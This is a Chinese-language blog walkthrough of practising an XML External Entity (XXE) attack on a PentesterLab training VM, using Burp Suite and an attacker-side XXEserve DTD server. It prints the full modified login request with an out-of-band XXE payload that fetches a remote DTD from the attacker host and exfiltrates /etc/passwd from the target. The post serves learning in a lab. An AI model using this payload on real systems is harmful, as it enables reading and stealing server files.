[資訊安全] XML External Entity (XXE) 漏洞實作練習(一)

Photo by Alex Iby on Unsplash

自從開始打站(HITCON ZeroDay)之後,就不斷的嘗試各種攻擊手法來練習,一路走來從 SQLi、XSS、AFD、CSRF,現在輪到 XXE,但實在沒辦法,對於 XXE 完全沒有實戰經驗,雖然之前在 All-CTF 中有一題,但也沒去研究,甚至不知道該如何解題,現在機會來了,就好好來研究一番吧。

前言

第一次接觸資安是在 AIS3-2015-Pre-exam,完全沒基礎的狀況下走到了現在,其中當然也沒有刻意去專研什麼,多以透過打 CTF 的方式來增進實力,近期則改為專注學習的方法,針對特定攻擊手法、漏洞進行研究,同時也參考別人打站的 Poc 來加以學習,唯獨在 XXE 上,似乎沒有太多的實例可以參考,為了學習實戰的必要能力,還是透過靶機練習來進行學習,並將其記錄過程。

基礎知識

最麻煩的來了,不論什麼技術一定都要來個基礎知識,不然就算全部照著操作,跑出相對應的結果,也還是無法了解原理。

XML

可延伸標記式語言(Extensible Markup Language),又稱 XML,與 HTML 雷同,但 XML 是為了傳遞資料而設計,可以把他當作是一種 Json File,只是遵行不同的規則與語法。

DTD

文件類型定義(Document Type Definition),又稱 DTD,顧名思義就是用來定義類型的檔案,還細分成「內部文件聲明」、「外部文件聲明」,可以參考 w3school 的介紹。

XXE Injection

XML 分注入還可以分成,「XML Entity Expansion Injection 實體擴展注入」與「External Entity Injection 外部實體注入」兩種,其做法都是運用傳遞惡意的 XML 來控制被害者設備讀取特定的檔案,並且將內容當作回應參數回傳。

必要工具

VirtualBox
Burp Suite
XXEserve
PentesterLab

環境建置

環境分成兩個部分,靶機(Target)、攻擊機(Attacker),然後關於 Burp Suite 工具的使用,這邊不會多做介紹,若不知道該如何使用,可以參考其他人分享的教學文。

Attacker

這部分筆者使用的是 Windows Subsystem for Linux(WSL)。

佈署 XXEserve,建構一個外部的 XXE 服務,來存放 DTD。

  1. 首先安裝 git
  2. 將 xxeserve 用 git clone 下來。
  3. 安裝 Ruby
  4. 透過 gem 安裝 bundle
  5. 執行 bundle install 指令
  6. 啟動服務 sudo ruby xxeserve.rb 8000

Target

首先到 PentesterLab 下載 ISO,並用 VirtualBox 開機,接著設定網路環境,筆者是設定「僅限本機」,如下。

接著開機,透過指令 ifconfig 查看本機 IP。

實作攻擊

首先先確認 Target 的 IP Address,接著在本機應該可以用 Browser 直接讀到頁面。

該頁面左上有角有個 Login,點擊切換至登入頁面。

此時記得打開 Burp Suite,並且在 Browser 上設定好 Proxy,隨後啟動 Intercept,並嘗試登入,應該會出現以下的畫面。

訊息如下,這邊比較需要注意的有 AcceptContent-TypeContent-Length 三點,以及最下面的遞送參數 username=&password=

POST /login HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Connection: close
Cookie: PLAY_FLASH=
Upgrade-Insecure-Requests: 1

username=&password=

構成該漏洞最主要的原因在於 Accept 選項包含了 xml 格式,代表可以透過修改 Content-Type 為 text/xml 來表示遞送的格式為 xml,隨後計算字串的字數,並回填至 Content-Length 中,如下。

POST /login HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/login
Content-Type: text/xml
Content-Length: 156
Connection: close
Cookie: PLAY_FLASH=
Upgrade-Insecure-Requests: 1

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.56.1:8000/xml?f=/etc/passwd">
%remote;
%int;
%trick;]>

點擊 Forward 後,可在 HTTP history 籤頁中找到剛剛送出的 Requests,會發現他是個 400 Bad Request

HTTP/1.1 400 Bad Request
Date: Thu, 21 Mar 2019 01:40:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1909
Connection: close

接著在看 Attacker 的 XEEServe,發現已經把靶機上的 /etc/passwd 資料傳送到 Attacker 上了。

延伸閱讀

2019/03/30 發布延伸文章「[資訊安全] XML External Entity (XXE) 漏洞實作練習 (二)

Reference:

https://www.freebuf.com/vuls/194112.html
https://www.freebuf.com/articles/web/195899.html
https://shinpachi8.github.io/2017/01/18/xxe漏洞及xxe练习/
https://www.digicentre.com.tw/industry_detail.php?id=38
http://www.w3school.com.cn/dtd/dtd_intro.asp


發佈留言

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料